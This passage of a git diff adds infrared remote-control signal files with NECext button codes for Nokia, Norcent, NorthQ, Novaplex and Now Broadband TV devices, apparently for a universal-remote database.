00 +command: 2E 00 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 2F 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 30 00 00 00 +# +name: Text +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 33 00 00 00 +# +name: Stop +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 35 00 00 00 +# +name: Size +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 38 00 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 3B 00 00 00 +# +name: Red +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 3C 00 00 00 +# +name: Green +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 3D 00 00 00 +# +name: Yellow +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 3E 00 00 00 +# +name: Blue +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 3F 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 70 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 72 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 74 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir new file mode 100644 index 000000000..a2ec12c87 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2F 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 30 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 8C 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 98 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 9A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir new file mode 100644 index 000000000..f60889b03 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 06 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 0F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 16 00 00 00 +# +name: TV_VCR +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 17 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 40 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 41 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 42 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 43 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 44 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 45 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 46 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 47 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 49 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 4C 00 00 00 +# +name: SHOWVIEW +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 4D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 4F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 50 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 51 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 53 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 56 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 59 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 5C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir new file mode 100644 index 000000000..6cdc29f5a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_0PLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: LR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: PRG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir new file mode 100644 index 000000000..148820d5f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: Launch +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_L +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 40 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: Toggle +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: Printer +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: KEY_R +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir new file mode 100644 index 000000000..9d5d2c437 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 09 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0A 00 00 00 +# +name: ---> +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: BUY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 22 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir b/assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir new file mode 100644 index 000000000..35e364d6c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 00 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 01 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 03 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 04 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 05 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 07 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 08 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 09 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 0A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 0B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 0E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 18 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 19 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 1A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 1D 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 1E 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 51 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 52 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 53 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 54 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 55 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 56 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 57 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 58 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 59 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 5A 00 00 00 +# +name: SoundMode +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 5B 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 5C 00 00 00 +# +name: TVSystem +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 5D 00 00 00 +# +name: Goto +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 5E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 80 6E 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir b/assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir new file mode 100644 index 000000000..dfa61d8fa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0C 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0E 00 00 00 +# +name: MIC +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 12 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 13 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 14 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 15 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 16 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 17 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 18 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1A 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1B 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1C 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 40 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 41 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 42 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 43 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 44 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 45 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 46 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 47 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 53 00 00 00 +# +name: GO_TO +type: parsed +protocol: NECext +address: 40 40 00 00 